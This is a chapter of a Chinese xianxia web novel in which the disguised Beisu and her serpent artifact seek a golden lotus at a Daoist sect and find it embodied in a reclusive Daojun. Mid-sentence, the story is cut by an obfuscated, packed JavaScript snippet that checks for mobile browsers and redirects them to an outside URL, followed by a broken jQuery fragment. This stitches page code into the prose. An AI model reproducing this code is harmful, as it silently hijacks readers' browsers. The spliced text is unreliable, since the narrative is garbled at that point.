雾气缭绕的莲池内弥漫水声,池塘底一道阴影闪过,荷叶颤动,很快平静。咀嚼的声音从水底传来,突兀的一道声音响起,听着像是稚童:“北北,这个藕好吃!”
女子站在水池中,衣袖挽着,小臂探进池塘里,澄澈的池水逐渐浑浊。
北溯左手在水里勾了勾,水流涌动,有什么东西迅速朝她左手游来,只见左手周围水流围着她手腕转动,片刻后归于平静。
她低眸看着缠上手腕接近透明的黑色小蛇,挠了挠它下巴,再一抬头,瞧着这处望不到尽头的莲池,中心处一座凉亭静立,远方雾气弥漫,看不清雾气后有什么。
“要怎么才能进去呢……”
小蛇仰起头,跟着一起看过去,竖眼收缩,苦恼道:“上次我还没靠近,就被禁阵驱赶,那朵莲花会在里面?”
“也许吧。”北溯捧了些水,浇灌在盛开的莲花上,俯身轻轻一嗅,淡淡的莲香扑鼻,清新好闻。
是她喜欢的气味。
“我被封印前,这朵莲花还没开,三百年过去,兴许已经成精了?”
不然怎么会找不到呢。
三百年前她被那几个老不死的封印,修为大损,现在她醒了,那几个人倒是死得干净,连个供奉神像都没有,她想报仇都没机会,还被损坏了本命法器——这只通体漆黑的小蛇。
为了修补,化名裴云霄扮作凡人潜入道宗搜寻金莲。不过三个月过去都没能找到具体位置,只能退而求其次用人的身体作为容器,修复法器。
“即使没有金莲,炼化修士的身体也可以。”她忽而捏了小蛇的尾巴,不满:“若是仍找不到进去的办法,你就乖乖用我挑的容器。”
小蛇不好意思地嘿嘿几声:“我就想要好的嘛,而且这群修士太弱了,承受不了我的力量。再试试嘛,听他们说里头住着的道君只差一步便可飞升,他的修为高,一定能承受得住我!”
“他么……”
散开的神识捕捉到身后异动,北溯懒得躲,没什么力道的冰珠打在后背,掉落水中。
“裴云霄,你在干嘛呢?别偷懒!藕不挖完,我们都要被罚!”
白衣少女把手里的莲藕就着池塘水洗去污泥,小心翼翼放进背篓里,一抬头,就见着另外一片池塘里的人站在水里一动不动,不知道在干什么。
北溯随意朝她摆了摆手,少女哼了一声,从池塘里走出来,站在塘埂上,身后背篓已经满了。
小蛇优哉游哉地拍了拍她肩膀,说:“别着急,北北会帮你的。”
她只能看得到北溯,眼中没有小蛇的存在,更听不见小蛇的声音。
“天黑前挖完便可,还早着呢,急什么。”
珩玲一跺脚,不管她了,转身就走,真是皇帝不急太监急。
北溯望着小姑娘气鼓鼓的背影,没说什么,小蛇下巴蹭了蹭她手腕,说:“北北你不去哄哄她吗?她一生气,今晚你就得睡床脚了。”
“晚上再哄吧。”她蹙起眉,变换了容貌的脸上罕见露出一丝愁意。
被封印前,她要么带着鳞舞征战三界收服强者为己用,要么就是跟昆仑那些个老头打架,哪里会想到她还有哄小姑娘的一天,这三个月里小姑娘都不知道生了她多少次气。
视线被一朵将盛放的莲花吸引,在摘下这朵莲花给珩玲哄她与干完活之间,她选择掐了莲蓬,扣出里面的莲子吃了。
小蛇眼巴巴看着,几颗没剥皮的莲子被塞进嘴里,它慢慢嚼了嚼,吐出皮,满足地眯起眼。
“这里的莲花蕴含的灵气很浓郁,能缓解你灵源消散的速度。”北溯刚要再去摘个莲蓬,水面震荡,她抬起头,朝着东方望去。
高山耸立,仙云祥雾,依稀可见嵌入山体之中的高阁,如同仙境。
耸入云端的山峰之上,梵钟被撞击,宏厚的钟声瞬息间传遍整个道宗,震人心肺,连响三声,这是道宗被袭击的讯号。
凉亭内忽然出现一名蓝衣女子,面向那股看不透的雾气,跪地行礼,语气焦急:“宗门外有妖王袭击,宗主请道君出面击退妖王。”
北溯认得她,她是重莲殿的执事。
醒来后急着修补法器,没来得及去妖界看看便潜入道宗,听她说起妖王,有些好奇,“三百年过去,妖界现在还能剩几名妖王?”
小蛇数了数,说:“北北你被封印前,四名妖王死了一个,剩下的三个应该还活着吧……”
毕竟当时那群人要杀的,只有北北一个。
北溯望着水雾,声音很轻很轻:“希望吧。”
“不过已经过去这么久,也许早就换了新妖王。”
地面再次晃动,女子脸色煞白,见里面还没动静,继续传音:“妖王带来了龟甲兽,您再不出手,一重山就要被他们撞塌了!”
北溯没兴趣在这看她跪地求人,转身去宗门看看是哪个妖王跑过来袭击道宗,也许可能是她的老熟人。
未行多远,鼻尖嗅到淡淡的味道,那味道很是熟悉,是她嗅了近三个月的莲花香,却比莲池中任意一朵莲花香还要浓郁,纯净。
这个味道勾起她深藏的记忆,依稀记得,在昆仑时,她也闻过如此浓郁的莲香。
北溯停脚,转身看过去。
小蛇早就回头去看了,妖瞳瞪大,激动道:“禁阵开了!”
那片雾气逐渐散开,雾气后竟然只是一片如镜般能清晰倒映出人影的水,一道笔直水栈连接凉亭,水栈逐渐显现全貌,长长的水栈那头连接台阶,往上,便是一眼看不过来的亭台高阁,浮于水面之上,倒映水中。
位于中心的殿房上,立着一块牌匾,“重莲殿”三字尤为醒目。
殿门缓缓开启,那股莲香愈发浓郁。
几息后,颀长身影步出。
女子始终低着头,不敢看。
看一眼,便是冒犯,亵渎。
但偏偏有两双眼直勾勾盯着。
那人身着白衣,墨发垂于脑后,只一根丝带系着,眉眼如画,眼帘微垂,长睫在眼下投下阴影,他的唇很薄,但唇珠饱满,将他因薄唇带来的冷气驱散几分。
他缓缓走出大殿,踏上水栈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860740|176011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
长长的水栈上只他一人走过,水天相接,他如同独行于世的仙,让人由心底生出憧憬与畏惧。
小蛇忽然缠紧北溯手腕,在她手腕上来回缠绕,异常兴奋。
“北北,就是他!我要他,我就要他!”
激动得在北溯手上扭了半天,没得到她答应,疑惑看过去,见她还在看,咬了她一口,再次说:“北北,就他了!他最顺眼!”
好一会才听见她说:“唔,确实顺眼。”
小蛇激动:“是吧是吧!”
再回头看时,清晰看见男人已经快走到凉亭,注意力被他额间银色莲花印记吸引。
那是朵含苞待放的莲,衬得他更加圣洁,浑身散发着神性。
越神圣不可侵,越容易令人对他产生不可言喻的念头。
北溯后退一步,双手背于身后,握紧成拳,眸光里逐渐掺杂一种难以言喻的神色。
克制着见到此人后心中荡出的冲动,那种想将一切美好事物摧毁的冲动。
实在是太看不惯这种正道人士装得伟岸高洁,叫她想将他这副面孔撕碎,玷污。
尤其他还是——
北溯盯着他额间的莲花印记,笑了笑,语气微妙:“看见他额间的莲花印记了吗?”
小蛇震惊,看男人的妖瞳竖起:“他就是那朵金莲?”
北溯轻轻嗯了一声,目光灼灼,真是得来全不费功夫,来到道宗三个月都没能见上这位大名鼎鼎的道君,也未寻到金莲踪迹,偏就这么巧,今日见着了。
人和金莲,都见到了。
凉亭内蓝衣女子立刻站起身,焦急道:“道君,宗主她——”
男人没有给她一丝眼神,未进凉亭,身形消失。
鼻尖的莲香宛若被瞬间吸走,荡然无存,北溯瞥了眼那女子,扫兴地转身。
消失的莲香忽然重新荡开,北溯皱起的眉头舒展。
她若有所觉地抬眼瞧向前方,只见那道令她几乎难以自控的身影背对自己而立,音色如池水缓缓流淌般悦耳,听得她更加兴奋。
“这些藕拿去磨成粉,三日内送到凉亭里。”
北溯没应,她看到了更吸引她的东西。
虽然他说完便瞬移离开了,但她看得一清二楚。
他未着鞋履,尘污无法侵染他,在他踏足过的地方,莲花盛开,晶莹剔透,宛如工艺品。
北溯满意地弯了眼眸,地面莲花飘散,却带不走她的好心情。
“唔……”
她那时随意扫过一眼的金莲,还真成精了啊。
“走吧,去看看这个‘容器’实力如何,能否承受得住我们的力量。”
小蛇激动得尾巴都打结,跟着北溯要走,看见几息间过来的女子,尾巴一扫,竖瞳盯着她,冲她龇牙。
“北北,她又来了。”
女子面容清秀,蓝衣上一排细密如针头大小碎珠点缀,端得是清冷出尘姿态。
“你倒是运气好,窥见道君真容。”
北溯诧异:“他见不得人吗?”